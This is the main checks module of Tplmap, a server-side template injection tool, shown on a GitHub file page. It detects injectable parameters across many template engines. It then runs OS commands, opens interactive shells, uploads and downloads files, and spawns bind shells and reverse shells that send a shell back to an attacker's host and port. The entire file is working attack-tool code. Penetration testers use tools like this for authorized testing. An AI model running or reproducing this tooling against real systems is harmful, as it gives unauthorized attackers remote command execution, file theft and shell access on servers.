-
Notifications
You must be signed in to change notification settings - Fork 679
/
Copy pathchecks.py
325 lines (250 loc) · 10.8 KB
/
checks.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
from plugins.engines.mako import Mako
from plugins.engines.jinja2 import Jinja2
from plugins.engines.smarty import Smarty
from plugins.engines.twig import Twig
from plugins.engines.freemarker import Freemarker
from plugins.engines.velocity import Velocity
from plugins.engines.pug import Pug
from plugins.engines.nunjucks import Nunjucks
from plugins.engines.dust import Dust
from plugins.engines.dot import Dot
from plugins.engines.tornado import Tornado
from plugins.engines.marko import Marko
from plugins.engines.slim import Slim
from plugins.engines.erb import Erb
from plugins.engines.ejs import Ejs
from plugins.languages.javascript import Javascript
from plugins.languages.php import Php
from plugins.languages.python import Python
from plugins.languages.ruby import Ruby
from core.channel import Channel
from utils.loggers import log
from core.clis import Shell, MultilineShell
from core.tcpserver import TcpServer
import time
import telnetlib
import sys
if sys.version_info.major > 2 :
import urllib.parse as urlparse
else :
import urlparse
import socket
plugins = [
Smarty,
Mako,
Python,
Tornado,
Jinja2,
Twig,
Freemarker,
Velocity,
Slim,
Erb,
Pug,
Nunjucks,
Dot,
Dust,
Marko,
Javascript,
Php,
Ruby,
Ejs
]
def _print_injection_summary(channel):
prefix = channel.data.get('prefix', '').replace('\n', '\\n')
render = channel.data.get('render', '%(code)s').replace('\n', '\\n') % ({'code' : '*' })
suffix = channel.data.get('suffix', '').replace('\n', '\\n')
if channel.data.get('evaluate_blind'):
evaluation = 'ok, %s code (blind)' % (channel.data.get('language'))
elif channel.data.get('evaluate'):
evaluation = 'ok, %s code' % (channel.data.get('language'))
else:
evaluation = 'no'
if channel.data.get('execute_blind'):
execution = 'ok (blind)'
elif channel.data.get('execute'):
execution = 'ok'
else:
execution = 'no'
if channel.data.get('write'):
if channel.data.get('blind'):
writing = 'ok (blind)'
else:
writing = 'ok'
else:
writing = 'no'
log.info("""Tplmap identified the following injection point:
%(method)s parameter: %(parameter)s
Engine: %(engine)s
Injection: %(prefix)s%(render)s%(suffix)s
Context: %(context)s
OS: %(os)s
Technique: %(injtype)s
Capabilities:
Shell command execution: %(execute)s
Bind and reverse shell: %(bind_shell)s
File write: %(write)s
File read: %(read)s
Code evaluation: %(evaluate)s
""" % ({
'prefix': prefix,
'render': render,
'suffix': suffix,
'context': 'text' if (not prefix and not suffix) else 'code',
'engine': channel.data.get('engine').capitalize(),
'os': channel.data.get('os', 'undetected'),
'injtype' : 'blind' if channel.data.get('blind') else 'render',
'evaluate': evaluation,
'execute': execution,
'write': writing,
'read': 'no' if not channel.data.get('read') else 'ok',
'bind_shell': 'no' if not channel.data.get('bind_shell') else 'ok',
'method': channel.injs[channel.inj_idx]['field'],
'parameter': channel.injs[channel.inj_idx]['param']
}))
def detect_template_injection(channel, plugins = plugins):
# Loop manually the channel.injs modifying channel's inj_idx
if sys.version_info.major >= 2 :
wrappedRange = range
else :
wrappedRange = xrange
for i in wrappedRange(len(channel.injs)):
log.info("Testing if %s parameter '%s' is injectable" % (
channel.injs[channel.inj_idx]['field'],
channel.injs[channel.inj_idx]['param']
)
)
current_plugin = None
# Iterate all the available plugins until
# the first template engine is detected.
for plugin in plugins:
current_plugin = plugin(channel)
# Skip if user specify a specific --engine
if channel.args.get('engine') and channel.args.get('engine').lower() != current_plugin.plugin.lower():
continue
current_plugin.detect()
if channel.data.get('engine'):
return current_plugin
channel.inj_idx += 1
def check_template_injection(channel):
current_plugin = detect_template_injection(channel)
# Kill execution if no engine have been found
if not channel.data.get('engine'):
log.fatal("""Tested parameters appear to be not injectable.""")
return
# Print injection summary
_print_injection_summary(channel)
# If actions are not required, prints the advices and exit
if not any(
f for f,v in channel.args.items() if f in (
'os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell', 'tpl_code', 'bind_shell', 'reverse_shell'
) and v
):
log.info(
"""Rerun tplmap providing one of the following options:\n%(execute)s%(execute_blind)s%(bind_shell)s%(reverse_shell)s%(write)s%(read)s""" % (
{
'execute': '\n --os-shell\t\t\t\tRun shell on the target\n --os-cmd\t\t\t\tExecute shell commands' if channel.data.get('execute') and not channel.data.get('execute_blind') else '',
'execute_blind': '\n --os-shell\t\t\t\tRun shell on the target\n --os-cmd\t\t\tExecute shell commands' if channel.data.get('execute_blind') else '',
'bind_shell': '\n --bind-shell PORT\t\t\tConnect to a shell bind to a target port' if channel.data.get('bind_shell') else '',
'reverse_shell': '\n --reverse-shell HOST PORT\tSend a shell back to the attacker\'s port' if channel.data.get('reverse_shell') else '',
'write': '\n --upload LOCAL REMOTE\tUpload files to the server' if channel.data.get('write') else '',
'read': '\n --download REMOTE LOCAL\tDownload remote files' if channel.data.get('read') else '', }
)
)
return
# Execute operating system commands
if channel.args.get('os_cmd') or channel.args.get('os_shell'):
# Check the status of command execution capabilities
if channel.data.get('execute_blind'):
log.info("""Blind injection has been found and command execution will not produce any output.""")
log.info("""Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not.""")
if channel.args.get('os_cmd'):
print(current_plugin.execute_blind(channel.args.get('os_cmd')))
elif channel.args.get('os_shell'):
log.info('Run commands on the operating system.')
Shell(current_plugin.execute_blind, '%s (blind) $ ' % (channel.data.get('os', ''))).cmdloop()
elif channel.data.get('execute'):
if channel.args.get('os_cmd'):
print(current_plugin.execute(channel.args.get('os_cmd')))
elif channel.args.get('os_shell'):
log.info('Run commands on the operating system.')
Shell(current_plugin.execute, '%s $ ' % (channel.data.get('os', ''))).cmdloop()
else:
log.error('No system command execution capabilities have been detected on the target.')
# Execute template commands
if channel.args.get('tpl_code') or channel.args.get('tpl_shell'):
if channel.data.get('engine'):
if channel.data.get('blind'):
log.info("""Only blind execution has been found. Injected template code will not produce any output.""")
call = current_plugin.inject
else:
call = current_plugin.render
if channel.args.get('tpl_code'):
print(call(channel.args.get('tpl_code')))
elif channel.args.get('tpl_shell'):
log.info('Inject multi-line template code. Press ctrl-D to send the lines')
MultilineShell(call, '%s > ' % (channel.data.get('engine', ''))).cmdloop()
else:
log.error('No code evaluation capabilities have been detected on the target')
# Perform file upload
local_remote_paths = channel.args.get('upload')
if local_remote_paths:
if channel.data.get('write'):
local_path, remote_path = local_remote_paths
with open(local_path, 'rb') as f:
data = f.read()
current_plugin.write(data, remote_path)
else:
log.error('No file upload capabilities have been detected on the target')
# Perform file read
remote_local_paths = channel.args.get('download')
if remote_local_paths:
if channel.data.get('read'):
remote_path, local_path = remote_local_paths
content = current_plugin.read(remote_path)
with open(local_path, 'wb') as f:
f.write(content)
else:
log.error('No file download capabilities have been detected on the target')
# Connect to tcp shell
bind_shell_port = channel.args.get('bind_shell')
if bind_shell_port:
if channel.data.get('bind_shell'):
urlparsed = urlparse.urlparse(channel.base_url)
if not urlparsed.hostname:
log.error("Error parsing hostname")
return
for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)):
log.info('Spawn a shell on remote port %i with payload %i' % (bind_shell_port, idx+1))
thread.join(timeout=1)
if not thread.isAlive():
continue
try:
telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout = 5).interact()
# If telnetlib does not rise an exception, we can assume that
# ended correctly and return from `run()`
return
except Exception as e:
log.debug(
"Error connecting to %s:%i %s" % (
urlparsed.hostname,
bind_shell_port,
e
)
)
else:
log.error('No TCP shell opening capabilities have been detected on the target')
# Accept reverse tcp connections
reverse_shell_host_port = channel.args.get('reverse_shell')
if reverse_shell_host_port:
host, port = reverse_shell_host_port
timeout = 15
if channel.data.get('reverse_shell'):
current_plugin.reverse_shell(host, port)
# Run tcp server
try:
tcpserver = TcpServer(int(port), timeout)
except socket.timeout as e:
log.error("No incoming TCP shells after %is, quitting." % (timeout))
else:
log.error('No reverse TCP shell capabilities have been detected on the target')